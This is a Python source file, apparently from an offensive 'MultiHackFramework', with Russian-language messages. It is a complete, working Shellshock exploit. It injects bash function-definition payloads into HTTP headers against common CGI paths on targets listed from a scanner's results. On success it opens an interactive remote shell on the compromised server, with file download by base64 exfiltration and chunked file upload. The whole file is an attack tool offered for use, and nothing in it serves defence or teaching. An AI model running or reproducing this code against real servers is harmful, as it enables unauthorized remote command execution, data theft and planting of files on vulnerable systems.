shellshock_exploit.py

# ------------ Developed for MultiHackFramework by GetDrive ------------
import os, sys, uuid, base64, glob, atexit, time, requests, urllib3
from urllib.parse import urlparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

try:
    import readline
    READLINE_AVAILABLE = True
except ImportError:
    READLINE_AVAILABLE = False

DEBUG = os.environ.get("SHELLSHOCK_DEBUG") == "1"
TIMEOUT = 30

SAFE_PATH = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

PATHS = (
    "/",
    "/cgi-bin/",
    "/cgi-bin/test.cgi",
    "/cgi-bin/test.sh",
    "/cgi-bin/printenv",
    "/cgi-bin/printenv.pl",
    "/cgi-bin/status",
    "/cgi-bin/admin.cgi",
    "/cgi-bin-sdb/printenv",
    "/cgi-sys/",
)

HEADER_NAMES = (
    "User-Agent",
    "Referer",
    "Cookie",
    "X-Forwarded-For",
    "X-Api-Version",
)

FILE_NAMES = ("shellshock_results.txt", "scan_results.txt", "_results.txt")

ABSPATH_MAP = {
    "id": "/usr/bin/id", "ls": "/bin/ls", "whoami": "/usr/bin/whoami",
    "cat": "/bin/cat", "ps": "/bin/ps", "netstat": "/bin/netstat",
    "uname": "/bin/uname", "ifconfig": "/sbin/ifconfig", "hostname": "/bin/hostname",
    "who": "/usr/bin/who", "w": "/usr/bin/w", "env": "/usr/bin/env",
    "printenv": "/usr/bin/printenv", "ss": "/bin/ss", "ip": "/bin/ip",
    "route": "/sbin/route", "arp": "/sbin/arp", "date": "/bin/date",
    "uptime": "/usr/bin/uptime", "df": "/bin/df", "du": "/usr/bin/du",
    "free": "/usr/bin/free", "top": "/usr/bin/top", "kill": "/bin/kill",
    "find": "/usr/bin/find", "grep": "/bin/grep", "awk": "/usr/bin/awk",
    "sed": "/bin/sed", "head": "/usr/bin/head", "tail": "/usr/bin/tail",
    "wc": "/usr/bin/wc", "sort": "/usr/bin/sort", "uniq": "/usr/bin/uniq",
    "cut": "/usr/bin/cut", "tr": "/usr/bin/tr", "tee": "/usr/bin/tee",
    "file": "/usr/bin/file", "stat": "/usr/bin/stat", "mount": "/bin/mount",
    "tar": "/bin/tar", "gzip": "/bin/gzip", "unzip": "/usr/bin/unzip",
    "zip": "/usr/bin/zip", "base64": "/usr/bin/base64", "md5sum": "/usr/bin/md5sum",
    "sha256sum": "/usr/bin/sha256sum", "strings": "/usr/bin/strings",
    "xxd": "/usr/bin/xxd", "od": "/usr/bin/od", "hexdump": "/usr/bin/hexdump",
    "which": "/usr/bin/which", "cp": "/bin/cp", "mv": "/bin/mv",
    "rm": "/bin/rm", "mkdir": "/bin/mkdir", "rmdir": "/bin/rmdir",
    "ln": "/bin/ln", "chmod": "/bin/chmod", "chown": "/bin/chown",
    "touch": "/bin/touch", "wget": "/usr/bin/wget", "curl": "/usr/bin/curl",
    "nc": "/bin/nc", "ncat": "/usr/bin/ncat", "telnet": "/usr/bin/telnet",
    "ssh": "/usr/bin/ssh", "scp": "/usr/bin/scp", "python": "/usr/bin/python",
    "python3": "/usr/bin/python3", "perl": "/usr/bin/perl", "ruby": "/usr/bin/ruby",
    "php": "/usr/bin/php", "gcc": "/usr/bin/gcc", "make": "/usr/bin/make",
    "vim": "/usr/bin/vim", "vi": "/usr/bin/vi", "nano": "/bin/nano",
    "less": "/usr/bin/less", "more": "/bin/more",
}

UPLOAD_CHUNK_SIZE = 3000

COMMAND_NAMES = ["help", "?", "exit", "quit", "q", "download", "upload", "!", "cache-clear"]

SHELL_COMMANDS = (
    "cat", "ls", "cd", "pwd", "id", "whoami", "uname", "ps", "find",
    "grep", "head", "tail", "wc", "sort", "uniq", "cut", "tr",
    "base64", "md5sum", "sha256sum", "strings", "file", "stat",
    "which", "cp", "mv", "rm", "mkdir", "chmod", "chown", "ln",
    "touch", "date", "df", "du", "free", "uptime", "hostname",
    "ifconfig", "ip", "netstat", "ss", "route", "arp",
    "who", "w", "env", "printenv",
    "wget", "curl", "nc", "ncat", "telnet", "ssh", "scp",
    "python", "python3", "perl", "ruby", "php", "gcc",
    "vim", "vi", "nano", "less", "more",
)

ALL_FIRST_WORDS = tuple(COMMAND_NAMES) + SHELL_COMMANDS

HISTORY_FILE = os.path.join(os.path.expanduser("~"), ".shellshock_exploit_history")

_REMOTE_CTX = {"session": None, "url": None, "header": None, "strategy": None}
_REMOTE_CACHE = {}
_REMOTE_CACHE_TTL = 30
_REMOTE_COMPLETE_LIMIT = 200


def find_targets_file():
    here = os.path.dirname(os.path.abspath(__file__))
    cwd = os.getcwd()
    candidates = []
    for name in FILE_NAMES:
        candidates.append(os.path.join(cwd, name))
        candidates.append(os.path.join(here, name))
        candidates.append(os.path.join(os.path.dirname(here), name))
        candidates.append(os.path.join(os.path.dirname(os.path.dirname(here)), name))
        candidates.append(os.path.join(os.path.expanduser("~"), name))
        candidates.append(os.path.join(os.path.expanduser("~"), "opt", "ctf", name))
    for path in candidates:
        if os.path.exists(path) and os.path.getsize(path) > 0:
            return path
    return None


def read_targets(file_path):
    targets = []
    if not file_path:
        print("Файл с результатами не найден ни в одном из ожидаемых мест.")
        print("Запустите сначала сканнер — он создаст shellshock_results.txt.")
        sys.exit(1)
    with open(file_path, "r") as file:
        for line in file:
            line = line.strip()
            if line:
                targets.append(line)
    return targets


def print_targets(targets):
    print("\nСписок целей:")
    for index, target in enumerate(targets, start=1):
        print(f"{index}. {target}")


def normalize_target(target):
    t = target.strip()
    if not t:
        return None
    if not t.startswith(("http://", "https://")):
        t = "http://" + t
    parsed = urlparse(t)
    if not parsed.hostname:
        return None
    scheme = parsed.scheme or "http"
    port = parsed.port
    if port is None:
        port = 443 if scheme == "https" else 80
    return f"{scheme}://{parsed.hostname}:{port}"


def shell_quote(s):
    return "'" + s.replace("'", "'\\''") + "'"


def resolve_command_abspath(command):
    stripped = command.lstrip()
    if not stripped:
        return command
    parts = stripped.split(None, 1)
    first = parts[0]
    if "/" in first:
        return command
    abspath = ABSPATH_MAP.get(first)
    if abspath:
        if len(parts) == 1:
            return abspath
        return abspath + " " + parts[1]
    return command


def build_payload(command, boundary, strategy):
    if strategy == "A":
        return (
            '() { :;}; echo "Content-Type: text/plain"; echo; '
            'PATH=' + SAFE_PATH + '; export PATH; '
            'echo ' + boundary + '_BEGIN; '
            + command + ' 2>&1; '
            'echo ' + boundary + '_END'
        )
    if strategy == "B":
        inner = (
            'PATH=' + SAFE_PATH + '; export PATH; '
            'echo ' + boundary + '_BEGIN; '
            + command + ' 2>&1; '
            'echo ' + boundary + '_END'
        )
        return (
            '() { :;}; echo "Content-Type: text/plain"; echo; '
            '/bin/bash -c ' + shell_quote(inner)
        )
    if strategy == "C":
        resolved = resolve_command_abspath(command)
        return (
            '() { :;}; echo "Content-Type: text/plain"; echo; '
            'echo ' + boundary + '_BEGIN; '
            + resolved + ' 2>&1; '
            'echo ' + boundary + '_END'
        )
    return None


def extract_output(body, boundary):
    if not body:
        return None
    begin_marker = boundary + "_BEGIN"
    end_marker = boundary + "_END"
    start = body.find(begin_marker)
    if start < 0:
        return None
    start += len(begin_marker)
    while start < len(body) and body[start] in "\r\n":
        start += 1
    stop = body.find(end_marker, start)
    if stop < 0:
        return None
    while stop > 0 and body[stop - 1] in "\r\n":
        stop -= 1
    return body[start:stop]


def try_endpoint(session, url, header_name, command, strategy, verbose=False):
    boundary = "xX_" + uuid.uuid4().hex[:12] + "_Xx"
    payload = build_payload(command, boundary, strategy)
    if payload is None:
        return None
    try:
        response = session.get(
            url,
            headers={header_name: payload},
            timeout=TIMEOUT,
            verify=False,
            allow_redirects=True,
        )
    except requests.exceptions.RequestException as e:
        if verbose or DEBUG:
            print(f"[debug] {strategy} {header_name} {url}: request error: {e!r}")
        return None
    except ValueError as e:
        if verbose or DEBUG:
            print(f"[debug] {strategy} {header_name} {url}: value error: {e!r}")
        return None
    body = response.text
    if verbose or DEBUG:
        print(f"[debug] strategy={strategy} {header_name} {url}: HTTP {response.status_code}, len={len(body)}")
        snippet = body[:400].replace("\r", "\\r").replace("\n", "\\n")
        print(f"[debug]   body[:400]={snippet!r}")
    return extract_output(body, boundary)


def pick_best_strategy(session, url, header_name, default_strategy):
    for strategy in ("A", "B", "C"):
        out = try_endpoint(session, url, header_name, "id", strategy)
        if out is not None and "uid=" in out:
            return strategy
    return default_strategy


def find_vector(session, base):
    for path in PATHS:
        url = base + path
        for header_name in HEADER_NAMES:
            for strategy in ("A", "B", "C"):
                output = try_endpoint(session, url, header_name, "echo VULN_OK", strategy)
                if output is not None:
                    best = pick_best_strategy(session, url, header_name, strategy)
                    return url, header_name, best, output
    return None, None, None, None


def shell_run(session, url, header_name, strategy, command):
    return try_endpoint(session, url, header_name, command, strategy)


def do_download(session, url, header_name, strategy, remote_path, local_path=None):
    if not local_path:
        local_path = os.path.basename(remote_path.rstrip("/")) or "downloaded_file"
    if remote_path.endswith("/"):
        print("[-] Укажи полный путь к файлу, а не каталог.")
        return
    cmd = "base64 -w0 " + shell_quote(remote_path)
    output = shell_run(session, url, header_name, strategy, cmd)
    if output is None:
        print("[-] Команда base64 не вернула маркеров. Файла нет или base64 недоступен.")
        return
    output = output.strip().replace("\n", "").replace("\r", "").replace(" ", "")
    if output == "":
        print("[i] Файл пустой или base64 выдал пусто.")
        return
    try:
        data = base64.b64decode(output, validate=True)
    except Exception as e:
        print(f"[-] base64 -d не смог декодировать вывод: {e}")
        print(f"[i] Первые 200 символов: {output[:200]!r}")
        return
    try:
        with open(local_path, "wb") as f:
            f.write(data)
        print(f"[+] Скачано {len(data)} байт в {local_path}")
    except Exception as e:
        print(f"[-] Не удалось сохранить файл: {e}")


def do_upload(session, url, header_name, strategy, local_path, remote_path=None):
    if not os.path.exists(local_path):
        print(f"[-] Локальный файл не найден: {local_path}")
        return
    if not remote_path:
        remote_path = "/tmp/" + os.path.basename(local_path)
    try:
        with open(local_path, "rb") as f:
            raw = f.read()
    except Exception as e:
        print(f"[-] Не удалось прочитать файл: {e}")
        return
    b64 = base64.b64encode(raw).decode("ascii")
    tmp_remote = "/tmp/.ss_up_" + uuid.uuid4().hex[:12]
    chunks = [b64[i:i + UPLOAD_CHUNK_SIZE] for i in range(0, len(b64), UPLOAD_CHUNK_SIZE)] or [""]
    total = len(chunks)

    for idx, chunk in enumerate(chunks):
        op = ">" if idx == 0 else ">>"
        cmd = "printf %s " + shell_quote(chunk) + " " + op + " " + tmp_remote
        result = shell_run(session, url, header_name, strategy, cmd)
        if result is None:
            print(f"[-] Сбой на чанке {idx + 1}/{total}.")
            return
        sys.stdout.write(f"\r[i] Отправлено чанков: {idx + 1}/{total}")
        sys.stdout.flush()
    sys.stdout.write("\n")

    finalize = "base64 -d " + tmp_remote + " > " + shell_quote(remote_path) + " && rm -f " + tmp_remote + " && echo UPLOAD_DONE"
    result = shell_run(session, url, header_name, strategy, finalize)
    if result is None or "UPLOAD_DONE" not in result:
        print(f"[-] Финальный этап не подтверждён. Проверь вручную: {remote_path}")
        if result:
            print(f"[i] Вывод: {result!r}")
        return
    print(f"[+] Загружено {len(raw)} байт в {remote_path}")


def print_local_help():
    print("Доступные команды:")
    print("  help / ?                       — этот список")
    print("  exit / quit                    — выход из шелла")
    print("  ! <cmd>                        — выполнить команду локально на атакующем")
    print("  download <remote> [local]      — скачать файл с цели")
    print("  upload <local> [remote]        — загрузить файл на цель")
    print("  cache-clear                    — сбросить кэш автодополнения удалённых путей")
    print("  <любое другое>                 — выполнить shell-команду на цели")


def _list_local_paths(text):
    expanded = os.path.expanduser(text)
    try:
        matches = glob.glob(expanded + "*")
    except Exception:
        return []
    home = os.path.expanduser("~")
    result = []
    for m in sorted(matches):
        display = m
        if text.startswith("~") and m.startswith(home):
            display = "~" + m[len(home):]
        if os.path.isdir(m):
            display = display + os.sep
        result.append(display)
    return result


def _split_remote_path(partial):
    if "/" in partial:
        idx = partial.rfind("/")
        dir_part = partial[:idx + 1]
        file_part = partial[idx + 1:]
        if not dir_part:
            dir_part = "/"
    else:
        dir_part = ""
        file_part = partial
    return dir_part, file_part


def _fetch_remote_dir(remote_dir):
    now = time.time()
    cached = _REMOTE_CACHE.get(remote_dir)
    if cached and now - cached[0] < _REMOTE_CACHE_TTL:
        return cached[1]
    ctx = _REMOTE_CTX
    if not ctx["session"]:
        return None
    arg = remote_dir if remote_dir else "."
    cmd = "ls -1Ap " + shell_quote(arg) + " 2>/dev/null"
    output = shell_run(ctx["session"], ctx["url"], ctx["header"], ctx["strategy"], cmd)
    if output is None:
        return None
    entries = []
    for line in output.splitlines():
        line = line.rstrip("\r").strip()
        if not line:
            continue
        entries.append(line)
        if len(entries) >= _REMOTE_COMPLETE_LIMIT:
            break
    _REMOTE_CACHE[remote_dir] = (now, entries)
    return entries


def _complete_remote(text):
    if not text:
        text = "/"
    dir_part, file_part = _split_remote_path(text)
    entries = _fetch_remote_dir(dir_part)
    if entries is None:
        return []
    result = []
    for entry in entries:
        if entry.startswith(file_part):
            result.append(dir_part + entry)
    return sorted(result)


def _make_completer():
    def completer(text, state):
        try:
            buf = readline.get_line_buffer()
            beg = readline.get_begidx()
        except Exception:
            return None
        before = buf[:beg]
        words = before.split()
        options = []

        if not words:
            options = [c for c in ALL_FIRST_WORDS if c.startswith(text)]
        else:
            head = words[0]
            if head == "upload":
                if len(words) == 1:
                    options = _list_local_paths(text)
            elif head == "download":
                if len(words) == 1:
                    options = _complete_remote(text)
                elif len(words) == 2:
                    options = _list_local_paths(text)
            elif head == "!":
                options = _list_local_paths(text)
            else:
                options = _complete_remote(text)

        try:
            return options[state]
        except (IndexError, TypeError):
            return None
    return completer


def setup_readline():
    if not READLINE_AVAILABLE:
        return False
    try:
        readline.set_completer(_make_completer())
        readline.set_completer_delims(" \t\n")
        try:
            doc = (readline.__doc__ or "").lower()
            if "libedit" in doc:
                readline.parse_and_bind("bind ^I rl_complete")
            else:
                readline.parse_and_bind("tab: complete")
        except Exception:
            pass
        try:
            if os.path.exists(HISTORY_FILE):
                readline.read_history_file(HISTORY_FILE)
            atexit.register(lambda: readline.write_history_file(HISTORY_FILE))
        except Exception:
            pass
        return True
    except Exception:
        return False


def interactive_shell(session, url, header_name, strategy):
    print("[i] Интерактивный режим. Введи 'help' для списка команд.")
    print(f"[i] Активная стратегия payload: {strategy}")
    if READLINE_AVAILABLE:
        ok = setup_readline()
        if ok:
            print("[i] Tab-completion: команды, локальные пути для upload и !, удалённые пути для остального.")
            print("[i] История: стрелки вверх/вниз. Кэш автодополнения удалённых путей: 30 секунд.")
    else:
        print("[i] readline недоступен, автодополнение и история отключены.")
    print("[i] Ограничение: 'cd' не сохраняется между командами. Используйте разделители '&&' и ';'")
    _REMOTE_CTX["session"] = session
    _REMOTE_CTX["url"] = url
    _REMOTE_CTX["header"] = header_name
    _REMOTE_CTX["strategy"] = strategy
    current_strategy = strategy
    while True:
        try:
            raw = input("shell> ").rstrip()
        except (EOFError, KeyboardInterrupt):
            print()
            return
        if not raw.strip():
            continue
        stripped = raw.strip()

        if stripped in ("exit", "quit", "q"):
            return
        if stripped in ("help", "?"):
            print_local_help()
            continue
        if stripped == "cache-clear":
            _REMOTE_CACHE.clear()
            print("[+] Кэш удалённых путей очищен.")
            continue

        if stripped.startswith("! "):
            os.system(stripped[2:])
            continue
        if stripped == "!":
            print("[-] Использование: ! <команда>")
            continue

        if stripped.startswith("download "):
            args = stripped.split(None, 2)
            if len(args) < 2:
                print("[-] Использование: download <remote> [local]")
                continue
            remote = args[1]
            local = args[2] if len(args) > 2 else None
            do_download(session, url, header_name, current_strategy, remote, local)
            continue

        if stripped.startswith("upload "):
            args = stripped.split(None, 2)
            if len(args) < 2:
                print("[-] Использование: upload <local> [remote]")
                continue
            local = args[1]
            remote = args[2] if len(args) > 2 else None
            do_upload(session, url, header_name, current_strategy, local, remote)
            continue

        output = shell_run(session, url, header_name, current_strategy, raw)
        if output is None:
            switched = False
            for alt in ("A", "B", "C"):
                if alt == current_strategy:
                    continue
                alt_out = shell_run(session, url, header_name, alt, raw)
                if alt_out is not None:
                    print(f"[i] Стратегия {current_strategy} не сработала, переключаюсь на {alt}.")
                    current_strategy = alt
                    _REMOTE_CTX["strategy"] = alt
                    output = alt_out
                    switched = True
                    break
            if not switched:
                print("[-] Ответ не получен ни одной стратегией.")
                continue
        if output == "":
            print("[i] Команда выполнена, вывод пуст.")
        else:
            sys.stdout.write(output)
            if not output.endswith("\n"):
                sys.stdout.write("\n")
            sys.stdout.flush()


def exploit_target(target):

    try:
        base = normalize_target(target)
        if base is None:
            print(f"[-] Некорректная цель: {target}")
            return

        session = requests.Session()

        if DEBUG:
            print(f"[debug] base={base}")

        url, header_name, strategy, output = find_vector(session, base)

        if url is None:
            print(f"[-] Не удалось эксплуатировать: {target}")
            print("[-] Ни один из вариантов не дал маркеров.")
            print("[-] Запусти с SHELLSHOCK_DEBUG=1 для отладки.")
            return

        print(f"[+] Успешная эксплуатация: {target}")
        print(f"    Вектор: {header_name} @ {url}")
        print(f"    Стратегия payload: {strategy}")
        print(f"    Ответ на запрос: {output.strip()}")

        interactive_shell(session, url, header_name, strategy)

    except Exception as e:
        print(f"[-] Ошибка при обработке цели {target}: {e}")


def main():

    targets_file = find_targets_file()
    if targets_file:
        print(f"[i] Файл целей: {targets_file}")

    targets = read_targets(targets_file)
    print_targets(targets)

    while True:
        user_input = input("\nВведите цель для эксплуатации (или 'l' для списка, 'q' для выхода): ").strip()

        if user_input == 'l':
            print_targets(targets)
        elif user_input == 'q':
            print("Завершение работы.")
            sys.exit(0)
        elif user_input:
            exploit_target(user_input)
        else:
            print("Неверный ввод. Используйте 'l', 'q' или введите цель.")


if __name__ == "__main__":
    main()